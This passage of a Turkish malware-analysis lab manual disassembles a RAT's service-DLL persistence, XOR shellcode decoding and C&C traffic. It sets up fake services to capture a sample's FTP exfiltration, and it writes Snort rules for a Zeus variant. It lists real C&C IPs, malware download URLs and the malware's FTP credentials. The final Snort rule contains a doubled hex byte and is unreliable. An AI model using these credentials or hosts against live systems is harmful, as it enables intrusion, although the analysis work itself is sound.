“debugging->exceptions” bölümünden Add Current butonu ile o anki istisna görmezden gelinecekler listesine eklenir. 0X40145F adresine duraknoktası konulup Ctrl+F2 ile zararlı Ollydbg’a tekrar yüklenir ve F9 ile duraknoktasına kadar gelinir. Analize devam edip bu fonksiyondan çıkıldıktan hemen sonra “%%USERPROFILE%%AppMgmt.dll” stringi oluşturuluyor. CPU Disasm
  • 38. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Address Hex dump Command Comments 0040198C |. 8D95 84F7FFFF LEA EDX,[LOCAL.543] 00401992 |. 51 PUSH ECX ; /<%s> => OFFSET LOCAL.151 00401993 |. 68 28344000 PUSH OFFSET 00403428 ; |Format = "%%USERPROFILE%%%s.dll" 00401998 |. 52 PUSH EDX ; |Buf => OFFSET LOCAL.543 00401999 |. 66:AB STOS WORD PTR ES:[EDI] ; | 0040199B |. FF15 DC204000 CALL DWORD PTR DS:[<&USER32.wsprintfW>] ; USER32.wsprintfW ExpandEnvironmentStrings winapi fonksiyonu ile userprofile’ın adresi alınıp 0x004010C0 adresindeki fonksiyon aşağıdaki parametrelerle çağırılıyor. CPU Disasm Address Hex dump Command Comments 004019C4 |. 52 PUSH EDX ; |Arg4 = UNICODE "C:Documents and Settingsmw2AppMgmt.dll" 004019C5 |. 68 20344000 PUSH OFFSET 00403420 ; |Arg3 = UNICODE "BIN" 004019CA |. 6A 65 PUSH 65 ; |Arg2 = 65 004019CC |. 56 PUSH ESI ; |Arg1 004019CD |. E8 EEF6FFFF CALL 004010C0 ; 4d519bf53a8217adc4c15d15f081599.004010C0 F7 ile fonksiyonun içine girildiğinde sırasıyla şu işlemleri yaptığı görülmektedir. ● FindResource ve LoadResource fonksiyonları ile zararlının resource olarak taşıdığı BIN tipinde bir veriye erişiliyor. ● CreateFile ile "C:Documents and Settingsmw2AppMgmt.dll" dosyası oluşturuluyor. (bilgisayar adı farklılık gösterecektir.) ● Elde edilen veri AppMgmt.dll dosyasına yazılıyor. ● “HKLMSYSTEMCurrentControlSet001ServicesAppMgmtParameters” anahtarı altındaki ServiceDll değerine "C:Documents and Settingsmw2AppMgmt.dll" yolu yazılıyor. ● Aynı şekilde MyStubPath değerine de çalıştırılan mcrat.exe’nin yolu yazılıyor. Bu işlemlerden sonra da program sonlanıyor. Buraya kadar zararlının kendisini nasıl sistem servisi olarak eklediği daha doğrusu başka bir servisin yerine geçtiği detaylıca ele alınmıştır. Analize zararlının servis olarak çalışacak bölümü yani AppMgmt.dll dosyası üzerinden devam
  • 39. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity ederek zararlının aktiviteleri açığa çıkarılabilir. 4. Adım: Zararlının oluşturduğu AppMgmt.dll dosyası IDA ile açılır. DllEntryPoint (dll dosyaları için main fonksiyonu) fonksiyonundan analize başlamak doğru gözükse de aslında bu dll sisteme bir servis olarak eklendiğinden ilk çalışacak fonksiyonu ServiceMain’dir. IDA’nın Exports sekmesinden veya Functions penceresinden ServiceMain seçilerek analize başlanır. Servis başlangıç işlemlerinden sonra ilk olarak “MyStubPath” stringini parametre alan bir fonksiyon(sub_10001748) çağırmaktadır. .text:10001906 push offset aMystubpath ; "MyStubPath" .text:1000190B push esi ; hKey .text:1000190C call sub_1000174 Fonksiyon incelendiğinde stub tarafından kayıt defterinde “HKLMSYSTEMCurrentControlSet001ServicesAppMgmtParameters” anahtarı altına girilen MyStubPath değerinden stub’ın dosya sisitemindeki yerini buluyor. .text:100017B4 push 3E8h ; dwMilliseconds .text:100017B9 call ds:Sleep .text:100017BF lea eax, [ebp+FileName] .text:100017C5 push eax ; lpFileName .text:100017C6 call ds:DeleteFileW .text:100017CC test eax, eax 1000 ms bekledikten sonra dosyayı(stub’ı) siliyor. Eğer dosya silme işlemi başarılıysa MyStubPath anahtarını da siliyor. text:100017D6 loc_100017D6: ; CODE XREF: sub_10001748+86j .text:100017D6 push [ebp+lpValueName] ; lpValueName .text:100017D9 push [ebp+hKey] ; hKey .text:100017DC call ds:RegDeleteValueW Temizlik işleminden sonra GetVersionEx winapi fonksiyonu ile işletim sistemi versiyonunu alıp versiyon 6’dan büyükse Launch fonksiyonunu çağıran kod bloğuna dallanıyor. .text:10001954 push eax ; lpVersionInformation .text:10001955 call ds:GetVersionExW .text:1000195B cmp [ebp+VersionInformation.dwMajorVersion], 6 .text:10001962 jb loc_10001A8F Versiyon 6 dan büyük olması sistemin en az Windows 7 veya Server 2008 R2 olması anlamına gelir(http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions). Daha eski sistemlerde ise “rundll32.exe "%s", Launch”(%s yerine GetModuleFileName ile alınan isim gelecek şekilde) komutu ile zararlı dllin export ettiği Launch fonksiyonunu çalıştıracak string
  • 40. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity hazırlanıyor. text:100019A7 lea eax, [ebp+FileName] .text:100019AD push eax .text:100019AE lea eax, [ebp+CommandLine] .text:100019B4 push offset aRundll32_exeSL ; "rundll32.exe "%s", Launch" .text:100019B9 push eax ; LPWSTR .text:100019BA call edi ; wsprintfW .text:100019BC add esp, 18h Daha sonra da işlemin tamamlanmasını beklenip sonlanıyor. İki durumda da analiz Launch fonksiyonuna yönleniyor. Launch fonksiyonu incelendiğinde doğrudan sub_100012EB fonksiyonunu çağırdığı görülür. Bu fonksiyonun da ilk iş olarak “McpProXy.exe” string parametresi ile sub_1000120E fonksiyonunu çağırdığı görülmektedir. .text:100012FE push eax ; lpFilename .text:100012FF push offset String2 ; "McpRoXy.exe" .text:10001304 mov [ebp+var_C], esi .text:10001307 mov [ebp+var_4], esi .text:1000130A call sub_1000120E .text:1000130F pop ecx Son çağırılan sub_1000120E fonksiyonu da “SeDebugPrivilege” stringini parametre olarak vererek sub_10001053 fonksiyonunu çağırıyor. .text:10001232 push 1 ; int .text:10001234 push offset Name ; "SeDebugPrivilege" .text:10001239 rep stosd .text:1000123B call sub_10001053 .text:10001240 pop ecx Bu fonksiyon oldukça basit bir yapıya sahip. İncelendiğinde sürece SE_DEBUG_NAME(SeDebugPrivilege) yetkisi verdiği görülür. Bu işlem sürece diğer süreçleri debug etme ve bellek alanlarına müdahale etme hakkı verir. (http://msdn.microsoft.com/en- us/library/windows/desktop/bb530716%28v=vs.85%29.aspx) .text:10001241 pop ecx .text:10001242 push 0 ; th32ProcessID .text:10001244 push 2 ; dwFlags .text:10001246 call CreateToolhelp32Snapshot .text:1000124B cmp eax, 0FFFFFFFFh Hemen ardından CreateToolhelp32Snapshot fonksiyonunun dwFlags parametresine 2(TH32CS_SNAPPROCESS) değeri verilerek çağırılıyor. Yani sistemde çalışan tüm süreçlerin listesi alınıyor. Daha sonra Process32First ve Process32Next winapi fonksiyonları kullanılarak süreç listesinde gezinip ismi daha önce bu fonksiyona parametre olarak geçirilen “McpRoXy.exe” olan süreç aranıyor.
  • 41. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity .text:10001257 lea ecx, [ebp+pe] .text:1000125D push esi .text:1000125E push ecx ; lppe .text:1000125F push eax ; hSnapshot .text:10001260 call Process32FirstW .text:10001265 mov edi, ds:CloseHandle .text:1000126B test eax, eax .text:1000126D jz short loc_100012DF .text:1000126F push [ebp+lpString2] ; lpString2 .text:10001272 mov esi, ds:lstrcmpiW .text:10001278 lea eax, [ebp+pe.szExeFile] .text:1000127E push eax ; lpString1 .text:1000127F .text:1000127F loc_1000127F: ; CODE XREF: sub_1000120E+94j .text:1000127F call esi ; lstrcmpiW .text:10001281 test eax, eax .text:10001283 jz short loc_100012A4 .text:10001285 lea eax, [ebp+pe] .text:1000128B push eax ; lppe .text:1000128C push [ebp+hObject] ; hSnapshot .text:1000128F call Process32NextW .text:10001294 test eax, eax .text:10001296 jz short loc_100012DF .text:10001298 push [ebp+lpString2] .text:1000129B lea eax, [ebp+pe.szExeFile] .text:100012A1 push eax .text:100012A2 jmp short loc_1000127F Eğer bu süreç bulunup OpenProcess ile bu sürece bir handle elde edilebilirse IDA’nın ebp+var_4 olarak tanımladığı 4. local değişken anlamındaki değeri 1 olarak atıyor. .text:100012D5 mov [ebp+var_4], 1 Fonksiyon sonlanırken de geriye bu değişkenin değerini döndürüyor. Kısacası sub_1000120E fonksiyonu, ismi parametre olarak geçirilen sürecin sistemde çalışıp çalışmadığını kontrol ediyor. Burada bu bir cümle yerine detaylı anlatılışının sebebi, birçok zararlı tarafından kullanılan benzer kodların assembly seviyesinde nasıl okunup yorumlanabileceğini göstermektir. Alt fonksiyonlar ve genel yapı hakkında bilgi sahibi olduktan zararlının çalışma anında nasıl bir yol izlediği analiz edilerek daha çok bilgi toplanabilir. 5. Adım AppMgmt.dll OllyDbg ile açılır. Alt+F6 kısayolu ile “Call Dll Export” penceresi açılıp Export bölümünden Launch(4. adımdaki bilgilere dayanarak) fonksiyonu seçilir. “Follow in CPU” butonu ile Launch fonksiyonunun başlangıcına gidildikten sonra “sağ tuş-> new origin here” ile EIP fonksiyonun başına set edilip debug işlemine başlanabilir.
  • 42. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity CPU Disasm Address Hex dump Command Comments 1000161D /$ 51 PUSH ECX 1000161E |. 8D4424 00 LEA EAX,[LOCAL.0] 10001622 |. 50 PUSH EAX ; /Arg1 => OFFSET LOCAL.0 10001623 |. E8 C3FCFFFF CALL 100012EB ; AppMgmt.100012EB 10001628 |. 85C0 TEST EAX,EAX 0x100012EB adresindeki ilk çağırılan fonksiyon analiz edildiğinde 4. adımda incelenen McpRoXy.exe sürecini arayan fonksiyon’un 0 döndürdüğü, yani sistemde bu sürecin bulunmadığı görülür, bu yüzden JNZ dallanmaz ve 0x1000142A adresindeki fonksiyon çağırılır. CPU Disasm Address Hex dump Command Comments 1000162A |. 59 POP ECX 1000162B |. 75 05 JNZ SHORT 10001632 1000162D |. E8 F8FDFFFF CALL 1000142A 10001632 |> 68 E8030000 /PUSH 3E8 ; /Time = 1000. ms Bu fonksiyon da ilk iş olarak 0x10003000 adresindeki 30904 bytelık veriyi 0x75 ile xor işleminden geçirip stack’e yazıyor. CPU Disasm Address Hex dump Command Comments 1000143E |. BE B8780000 MOV ESI,78B8 10001443 |> 8A88 00300010 /MOV CL,BYTE PTR DS:[EAX+10003000] 10001449 |. 80F1 75 |XOR CL,75 1000144C |. 888C05 E013FF |MOV BYTE PTR SS:[EAX+EBP+FFFF13E0],CL 10001453 |. 40 |INC EAX 10001454 |. 3BC6 |CMP EAX,ESI 10001456 |.^ 7C EB JL SHORT 10001443 Çalışmaya heap’te 30904 bytelık yer ayırarak devam ediyor ayırdığı bu alana VirtualProtect fonksiyonu ile PAGE_EXECUTE_READ_WRITE yetkisi veriyor. Daha sonra da bu alandaki kodu çalıtırmak için CreateThread winapi fonksiyonunu kullanıyor. CPU Disasm Address Hex dump Command Comments 100014A8 |. 8D45 F8 LEA EAX,[LOCAL.2] 100014AB |. 50 PUSH EAX ; /pThreadId => OFFSET LOCAL.2 100014AC |. 53 PUSH EBX ; |CreationFlags 100014AD |. 53 PUSH EBX ; |Parameter 100014AE |. FF75 FC PUSH DWORD PTR SS:[LOCAL.1] ; |StartAddress => [LOCAL.1] 100014B1 |. 53 PUSH EBX ; |StackSize 100014B2 |. 53 PUSH EBX ; |pSecurity
  • 43. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 100014B3 |. FF15 68200010 CALL DWORD PTR DS:[<&KERNEL32.CreateThread>] ; KERNEL32.CreateThread CreateThread’e parametre olarak geçirilen başlangıç adresinden analize devam edildiğinde (“new origin here” özelliği veya “on execution” olayına bir donanımsal duraknoktası(hardware bp) koymak bu durumda işe yarayacaktır.) İlk olarak kendi kendini xorla çözen bir kod bloğu görülüyor. Test ortamında yeni threadin adresi 0x00146120 olarak bulunmuştur ama dinamik olarak verildiği için farklılık gösterecektir. CPU Disasm Address Hex dump Command Comments 0014612F 8030 6C XOR BYTE PTR DS:[EAX],6C 00146132 40 INC EAX 00146133 41 INC ECX 00146134 81F9 9C780000 CMP ECX,789C 0014613A ^ 75 F3 JNE SHORT 0014612F Zararlı 30876 byte xorladıktan sonra çalışamaya 0x0014634B adresindeki fonksiyondan devam ediyor. Bu fonksiyon VirtualAlloc winapi fonksiyonun adresini hesaplayıp çağırarak 4096 byte(4KB) yer ayırıyor ve hemen devamındaki fonksiyon da bu alana bir takım kodlar yazıyor. Olayın akışını izlemek için şu yol izlenebilir. VirtualAlloc’u çağıran kod bloğu(EAX ta onun adres olduğu için) CPU Disasm Address Hex dump Command Comments 001463A4 6A 40 PUSH 40 001463A6 68 00100000 PUSH 1000 001463AB FF77 04 PUSH DWORD PTR DS:[EDI+4] 001463AE 6A 00 PUSH 0 001463B0 FFD0 CALL EAX “call eax” çalıştırıldıktan hemen sonra fonksiyon başarıyla çalışmışsa, EAX’ta yeni ayrılan alanın adresini içerecektir. Register bölümünden EAX’ın üzerine “sağ tuş-> follow in dump” ile hafızanın o bölümü dump ekranında görülebilir. CPU Disasm Address Hex dump Command Comments 001463B7 57 PUSH EDI 001463B8 E8 84FDFFFF CALL 00146141 001463BD 58 POP EAX 001463BE FFE0 JMP EAX 0x00146141’daki fonksiyon çağırıldıktan sonra da aynı ekranda boş olan alana kodların
  • 44. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity yazıldığı ve daha sonra o adrese jmp ile dallanıldığı görülür. Analize buradaki 0x008B0015 (değişkendir) fonksiyonundan devam edildiğinde içinde ws2_32 ve wininet’i de barındıran 9 adet sistemkütüphanesini(dll) yükleyen bir fonksiyonla karşılaşılmıştır. CPU Disasm Address Hex dump Command Comments 009BD003 55 PUSH EBP 009BD004 8BEC MOV EBP,ESP 009BD006 E8 4793FFFF CALL 009B6352 009BD00B 85C0 TEST EAX,EAX 009BD00D 75 05 JNE SHORT 009BD014 Fonksiyonda belirtilen yerlere duraknoktası koyup döngünün her adımında hangi kütüphanenin yüklendiği görülebilir. CPU Disasm Address Hex dump Command Comments 009B6386 /0F83 D8000000 JAE 009B6464 009B638C |837D FC 00 CMP DWORD PTR SS:[EBP-4],0 009B6390 |74 4A JE SHORT 009B63DC 009B6392 |8B4D FC MOV ECX,DWORD PTR SS:[EBP-4] 009B6395 |C1E1 04 SHL ECX,4 009B6398 |8B91 20189B00 MOV EDX,DWORD PTR DS:[ECX+9B1820] Devamında LoadLibrary winapi fonksiyonu ile çalışma anında yüklenen kütüphaneleri kullanarak çalışma zararlı işlevlerini sürdürmektedir. Bu da zararlının işlevlerini gizlemek için kullandığı yöntemlerden birisidir. Zararlı bu aşamadan sonra CreateThread fonksiyonunu kullanarak 4 thread daha oluşturuyor ama bunlardan bazıları aynı fonksiyonu göstermektedir. Zararlının doğrudan hafızaya decode ettiği(xor veya substraction gibi yöntemlerle) kod bloklarının tek tek analizi şu ana kadarki yöntemlerle yapılabileceğinden dolayı bunların detaylı analizine yer verilmemiştir, ipucu olabilecek genel veriler şu şekildedir. Test ortamında adı “C:DOCUME~1mw2LOCALS~1Temp{2D93B73E-36B9-40C4-9FD8- 93C067157A8F}” olan dosyayı okumak için açıyor. (CreateFile fonksiyonunun farklı kullanımları için: http://msdn.microsoft.com/en- us/library/windows/desktop/aa363858%28v=vs.85%29.aspx) Daha sonra ReadFile ile içeriğini okuyup okunan veri 948 byte değilse fonksiyon sonlanıyor. Bu dosyanın içine 110.173.55.187 adresi yazılıyor ve daha sonra bu adresin 80 portuna gönderilen HTTP POST istekleri aracılığıyla iletişimkuruluyor. Bu bölüm CPU Disasm Address Hex dump Command Comments 0014634B 5F POP EDI 0014634C 64:A1 30000000 MOV EAX,DWORD PTR FS:[30] 00146352 8B40 0C MOV EAX,DWORD PTR DS:[EAX+0C]
  • 45. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 00146355 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] 00146358 AD LODS DWORD PTR DS:[ESI] 00146359 8B68 08 MOV EBP,DWORD PTR DS:[EAX+8] ile başlayıp CPU Disasm Address Hex dump Command Comments 001463B4 83C7 08 ADD EDI,8 001463B7 57 PUSH EDI 001463B8 E8 84FDFFFF CALL 00146141 001463BD 58 POP EAX 001463BE FFE0 JMP EAX ile biten 2. decode bölümünde hafızaya yazılıyor. Analize başlamadan önce strings, imports gibi çıktılara bakılarak veya Procmon, Process Explorer gibi araçlarla yapılan iyi tahminler çoğu zaman analiz sırasında doğru yolda ilerlemeyi kolaylaştırır fakat sağlıklı bir analiz sadece tahminlerden ibaret olmamalıdır. Uygulama No: BGA-MA-? Uygulama Adı: Zararlı Tarafından Üretilen Trafiğin Sahte Servislerle Yönetimi Amaç: Lab ortamında analiz edilen zararlı yazılımın çalışması için ihtiyaç duyduğu sahte servisleri sağlayarak zararlıyı bu servislere yönlendirmek, böylece zararlının normalde üreteceği ağ trafiğini üretmesini ve program akışının sadece başarılı bağlantı kurulduğunda erişeceği noktalara erişmesini sağlamak. Lab senaryosu: Aynı sanal ağdaki iki sanal makineden Windows XP olanında uzak FTP sunucusuna bağlantı kurmak isteyen bir zararlı yazılım çalıştırılır. REMnux kurulu olanı ise sahte servis oluşturma ve ağ trafiğini dinleme araçlarını çalıştırmak için kullanılır. Kullanılan Araçlar: ● FTP Kullanan Zararlı Örneği (sha256:d7ac4d6442a3448fb147fd70b5e98f8e244b5e129f8bbd5f085b04cf01158c03 ) ● ApateDNS ● Inetsim, Fakenet ● Wireshark Adımlar: 1. Adım
  • 46. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Zararlının gerçekte bağlantı kurmaya çalıştığı C&C veya benzer işlem gören uzak sistem yerine sahte servislerin çalıştığı makineye bağlantı kurmasını sağlamak için DNS üzerinden basit birkaç yöntem kullanılabilir. Bunlardan ilki “SistemDizini:WindowsSystem32Driversetchosts” dosyasına zararlının bağlantı kurmak isteği alanadını ve sahte servislerin çalıştığı makinenin IP’sini eşleştiren bir satır eklenebilir (10.10.10.128 ftp.zararli.com). Bunun yerine yapılan bütün DNS sorgularına sahte servislerin çalıştığı makinenin IP addresini içeren bir cevap döndüren ApateDNS aracını kullanmak bazı durumlarda daha pratik olabilir. Bunun için ApateDNS aracı çalıştırılıp “DNS Reply IP” bölümüne yönlendirilmek istenilen sistemin IP adresi girilip “Start Server” tuşuna basılır. Sistemde birden fazla ağ arayüzü varsa “Selected Interface” bölümünden ilgili arayüz seçilmelidir. Başka bir ihtimal de zararlının bir alanadı yerine doğrudan uzak siteme IP adresi ile erişmesidir. DNS sorgularına sahte cevap gönderme yöntemi bu durumda işe yaramayacaktır. Başka bir ihtimal de zararlının bir alanadı yerine doğrudan uzak siteme IP adresi ile erişmesidir. DNS sorgularına sahte cevap gönderme yöntemi bu durumda işe yaramayacaktır. Böyle bir durumda iptables veya başka bir NAT desteği bulunan yazılım aracılığıyla analiz makinesinden (WinXP) giden paketlerin hedef IP adresi veya belli bir IP ‘ye giden paketlerin hedef IP adresi değiştirilerek bağlantı sahte servislerin bulunduğu (REMnux) sisteme yönlendirilebilir. Alternatif olarak zararlının dinamik analizi sırasında hedef adresi hafızada değiştirerek doğrudan istenilen adrese bağlanması da sağlanabilir. 2. Adım Sahte servislerin çalışacağı sistemde(REMnux) konsoldan “inetsim” komutu girilerek servisler başlatılır. Servislerin tam listesi ve dinledikleri portlar bu aşamada konsolda görülebilir. Daha sonra Wireshark root olarak çalıştırılıp “Capture->Interfaces” menüsünden ilgili arayüz(örnekte eth0) seçilerek dinlenmeye başlanır. Alternatif olarak Windows üzerinde çalışan Fakenet aracı kullanılarak, ikinci bir sisteme ihtiyaç kalmadan, servisler analiz makinesinde çalıştırılabilir. 3. Adım Zararlı yazılım çalıştırılıp ApateDNS ekranından yaptığı DNS sorguları izlenir. Örnek zararlının “darlstop123.p.ht” ve “whatismyip.akamai.com” adresleri için DNS istekleri gönderdiği görülüyor.
  • 47. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 4. Adım Bu aşamada isteğe göre REMnux’e geri dönülerek Wireshark’ın yakalamış olduğu ağ trafiği incelenebilir veya bir debugger aracılığıyla zararlının başarılı bağlantı durumunda gerçekleştirdiği aktiviteler dinamik olarak analiz edilebilir. Örnekteki zararlı için Wireshark ekranına bakıldığında zararlının FTP ve HTTP servislerine bağlanmaya çalıştığı görülmektedir. HTTP üzerinden GET isteği ile anasayfayı almaya çalıştığıgörülmektedir. “whatismyip.akamai.com” adresine bağlanıldığında bunu aslında sistemin internete çıkış IP’sini öğrenmek için yaptığı anlaşılıyor.
  • 48. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity FTP bağlantısının detaylarını öğrenmek için Wireshark’ta bağlantıya dahil olan paketlerden (satırlardan) herhangi birine sağ tıklayıp “Follow TCP Stream” seçilerek bağlantı boyunca yapılan veri alışverişi toplu halde görülebilir. Örnek bağlantının içeriği şu şekildedir: 220 INetSim FTP Service ready. USER u489099192 331 Please specify the password. PASS 031025 230 Login successful. TYPE I 200 Switching to BINARY mode. PASV 500 Unknown command. TYPE I 200 Switching to BINARY mode. PORT 10,10,10,130,19,137 200 PORT command successful. STOR NO_PWDS_report_06-02-2014_22-23-47-BB9E89D3316C6D89E8BA3AAF96AA0063- IIIA.bin 150 Ok to send data. 226 File receive OK. İçerikten de açıkça görüldüğü üzere zararlı, FTP sunucusuna bağlantı kurarken kullanıcı adı ve şifre olarak “u489099192 | 031025” değerlerini kullanıyor. Daha sonra da bir dosya yüklemeye çalışıyor. Elde edilen bu tarz bilgiler zararlıyı etkisizleştirmek için kullanılabilecek olsa da bu bilgileri kullanmak için bazı yasal süreçlerin işletilmesi gerekebilir. Zararlıyı etkisizleştirmekten kasıt bulaştığı sistemlerden silmek yerine komuta merkezini devre dışı bırakarak bulaştığı sistemlerden bilgi sızdırmasını veya komuta merkezinden kontrol edilmesini engellemektir. Sonuçta elde edilen bilgileri doğrulamak adına FTP sunucusuna bağlantı kurulmuş ama başka bir işlem yapılmamıştır.
  • 49. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-MA-? Uygulama Adı: Snort Kullanarak Zararlı Yazılım Tespiti Amaç: Zararlı yazılımın ağ trafiğinin tanınmasını sağlayacak kendine has özelliklerini tespit edip bu özellikleri yakalayacak Snort kuralları yazmak. Lab senaryosu: HTTP ve SMTP trafiği oluşturan bir çeşit Zeus türevi bir sanal makineye bulaştırılıp bu makinenin internete çıktığı ağ arayüzü Wireshark ve Snort ile dinlenir. Elde edilen ağ verisine göre Snort kuralları yazılarak zararlı tespit edilmeye çalışılır. Kullanılan Araçlar: ● Zeus türevi (sha256:689ef03339c961f6c63b77f902de1bb022f83c2c89a1f63999edf720cfa2081b) ● Snort ● Snorby ● Wireshark Adımlar: 1. Adım Örnekte kullanılan lab yapısı şu şekildedir. Windows XP internete NAT ile çıkacak şekilde ayarlanmış tek ağ arayüzü bulunan bir sanal makinede kuruludur. Snortun kurulu olduğu SecurityOnion dağıtımı ise, bir tanesi Windows XP ile aynı sanal ağa bağlı iki ağ arayüzü bulunan başka bir sanal makineye kurulmuştur. Snort, ortak arayüzü dinleyecek şekilde ayarlanmıştır. Diğer arayüz de bu makineye yönetim amaçlı erişim için ayrılmıştır.
  • 50. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2. Adım Örnek zararlının ağ verisi incelendiğinde sırasıyla şu işlemleri yaptığı görülüyor. (Farklı çalıştırmalarda sonuçlar değişiklik gösterebilir) ● “http://mediafire.com/?ucc9c99b4o1b94i” adresinden b.exe isimli bir dosya indiriyor. ● srv5050.co (212.227.141.241) adresininin 5050 numaralı portuna IRC bağlantısı kurup bir takım kanallara bağlanıyor. ● “http://mediafire.com/?kf2lhk53bpfem63” adresinden go.exe isimli başka bir dosya indiriyor. ● “http://karmachemie.de/rec.exe” (213.165.86.175) adresinden rec.exe isimli bir dosya daha indiriyor. ● “http://jasperrussell.com/324.txt” (74.208.185.227) adresinden 324.txt isimli bir dosya indiriyor. Bu dosya “yahoo.com” uzantılı 28000 farklı mail adresi içeriyor. ● Son olarak listedeki mail adreslerine örnekteki gibi bir mail gönderiyor. From: Edward09@4251.com To: sadiabuttar@yahoo.com Subject: Pharmacy Express Date: Sun, 27 Jan 2013 23:39:52 -0800 Mime-Version: 1.0 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: <88397533550593.79168.qmail@hordzd>
  • 51. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity http://doctorcrib.com Zararlının çalışma anında aktif olmayan farklı özellikleri de vardır fakat buradaki amaç zararlıyı tamamen analiz etmek değil örnek ağ verisini kullanarak bu aktiviteleri tanımlayacak kurallar yazmaktır. 3. Adım Eldeki veriler kullanılarak sadece zararlının kullandığı IP adresleri ve/veya alanadları belirlenip, bunları tanımlayacak kurallar yazılır. Veriler değerlendirildiğinde, mediafire veya yahoo’ya ait adresler için kurallar yazmanın makul olmayacağı ancak srv5050.co, karmachemie.de ve jasperrussell.com adresleri için yazılabileceği görülmektedir. Bu adresler doğrudan zararlıyı yayanlar tarafından alınmış veya sonradan ele geçirilmiş sistemler olabilirler. Her iki durumda da kullanıcılar için tehlike arz etmektedirler. Örneğin srv5050.co adresine yapılacak DNS sorgularını yakalayacak bir kural şu şekilde yazılabilir. alert udp any any -> any 53 (msg:"Zeus variant DNS query"; content:"srv5050"; priority:1; sid:9000554; rev:1;) Doğrudan IP adresine yapılan bağlantıları yakalamak içinse şöyle bir kural kullanılabilir. alert tcp $HOME_NET any -> 212.227.141.241 any (msg:"Zeus variant C&C IP"; flow:to_server; priority:1; sid:9000555; rev:1;) Tabii ağ yapısına göre bu kuralları iyileştirmek mümkün. İlk kural çalıştığında elde edilen Snorby görüntüsü: 4. Adım
  • 52. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Söz konusu zararlıyı doğrudan dosya indirme aşamasında tespit etmek için çalıştırılabilir dosyadan elde edilen bir imza kullanılabilir. Zararlının farklı türevlerinin aynı imzayı taşımama ihtimali yüksek olmasından dolayı tek başına çok etkili bir yöntem olmasa da bu yöntem diğerlerinin yanında kullanılabilir. Öncelikle çalıştırılabilir dosyaya bir imza tanımlanır. Basitçe şu adımlar izlenebilir. ● strings zararlı.exe > strings.txt komutu ile zararlının içerdiği ve okunabilir olan karakter dizileri elde edilip kendine has olabilecek değerler aranır. Örnek zararlıda 440. satırdaki “signing_of_the_Treaty_of_Karlowitz.exe” değeri kullanılabilir. Bu değerin tam olarak belirtilen yerde bulunması büyük olasılıkla zararlıyı tanımaya yetecektir. ● Daha sonra Snort’un ikili dosyanın içeriğinde doğrudan karşılaştırma yapabilmesi için gerekli değerler elde gerekir. hexdump -C zararlı.exe > hexdump.txt komutu verilerek dosyanın hex/ASCII dökümü elde edilir. ASCII bölümden belirlenen string bulunup hex karşılığı belirlenir. Örnekte Başlangıç adresi: 0x0000925A Değer: 73 69 67 6e 69 6e 67 5f 6f 66 5f 74 68 65 5f 54 72 65 61 74 79 5f 6f 66 5f 4b 61 72 6c 6f 77 69 74 7a 2e 65 78 65 şeklindedir. ● Son olarak aşağıdaki gibi bir kural yazılarak imzayı içeren paketlerde uyarı verilmesi sağlanır. alert tcp any any -> $HOME_NET any (msg:"Zeus variant binary"; flow:from_server,established; content:"|73 69 67 6e 69 6e 67 5f 6f 66 5f 74 68 65 5f 54 72 65 61 74 79 79 5f 6f 66 5f 4b 61 72 6c 6f 77 69 74 7a 2e 65 78 65|"; sid:9000556; rev:1;) Kuralı daha da özelliştirmek için “offset” değeri eklenebilir.
